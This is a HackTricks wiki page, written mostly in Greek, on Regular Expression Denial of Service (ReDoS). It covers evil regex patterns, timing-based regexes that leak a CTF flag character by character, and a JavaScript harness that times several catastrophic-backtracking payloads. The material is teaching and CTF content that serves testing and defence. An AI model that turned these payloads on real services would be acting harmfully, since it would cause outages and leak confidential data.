Regular expression Denial of Service - ReDoS

Reading time: 4 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Regular Expression Denial of Service (ReDoS)

Μια Regular Expression Denial of Service (ReDoS) συμβαίνει όταν κάποιος εκμεταλλεύεται αδυναμίες στον τρόπο που λειτουργούν οι κανονικές εκφράσεις (ένας τρόπος αναζήτησης και αντιστοίχισης προτύπων σε κείμενο). Μερικές φορές, όταν χρησιμοποιούνται κανονικές εκφράσεις, μπορεί να γίνουν πολύ αργές, ειδικά αν το κομμάτι κειμένου με το οποίο εργάζονται μεγαλώνει. Αυτή η αργή απόδοση μπορεί να γίνει τόσο κακή που να αυξάνεται πολύ γρήγορα με ακόμη και μικρές αυξήσεις στο μέγεθος του κειμένου. Οι επιτιθέμενοι μπορούν να χρησιμοποιήσουν αυτό το πρόβλημα για να κάνουν ένα πρόγραμμα που χρησιμοποιεί κανονικές εκφράσεις να σταματήσει να λειτουργεί σωστά για μεγάλο χρονικό διάστημα.

The Problematic Regex Naïve Algorithm

Check the details in https://owasp.org/www-community/attacks/Regularexpression_Denial_of_Service-_ReDoS

Evil Regexes

Ένα κακό κανονικό μοτίβο έκφρασης είναι αυτό που μπορεί να κολλήσει σε κατασκευασμένη είσοδο προκαλώντας DoS. Τα κακά μοτίβα κανονικών εκφράσεων περιέχουν συνήθως ομαδοποίηση με επανάληψη και επανάληψη ή εναλλαγή με επικαλύψεις μέσα στην επαναλαμβανόμενη ομάδα. Ορισμένα παραδείγματα κακών μοτίβων περιλαμβάνουν:

  • (a+)+
  • ([a-zA-Z]+)*
  • (a|aa)+
  • (a|a?)+
  • (.*a){x} για x > 10

Όλα αυτά είναι ευάλωτα στην είσοδο aaaaaaaaaaaaaaaaaaaaaaaa!.

ReDoS Payloads

String Exfiltration via ReDoS

Σε ένα CTF (ή bug bounty) ίσως ελέγχετε την κανονική έκφραση με την οποία ταιριάζει μια ευαίσθητη πληροφορία (η σημαία). Τότε, μπορεί να είναι χρήσιμο να κάνετε τη σελίδα να κολλήσει (timeout ή μεγαλύτερος χρόνος επεξεργασίας) αν η κανονική έκφραση ταιριάζει και όχι αν δεν ταιριάζει. Με αυτόν τον τρόπο θα μπορείτε να εξάγετε τη συμβολοσειρά χαρακτήρα προς χαρακτήρα:

  • Στο αυτό το άρθρο μπορείτε να βρείτε αυτόν τον κανόνα ReDoS: ^(?=<flag>)((.*)*)*salt$
  • Παράδειγμα: ^(?=HTB{sOmE_fl§N§)((.*)*)*salt$
  • Στο αυτό το writeup μπορείτε να βρείτε αυτό: <flag>(((((((.*)*)*)*)*)*)*)!
  • Στο αυτό το writeup χρησιμοποίησε: ^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$

ReDoS Controlling Input and Regex

Τα παρακάτω είναι παραδείγματα ReDoS όπου ελέγχετε τόσο την είσοδο όσο και την κανονική έκφραση:

javascript
function check_time_regexp(regexp, text) {
var t0 = new Date().getTime()
new RegExp(regexp).test(text)
var t1 = new Date().getTime()
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}

// This payloads work because the input has several "a"s
;[
//  "((a+)+)+$",  //Eternal,
//  "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$", //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach((regexp) => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))

/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/

Εργαλεία

Αναφορές

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks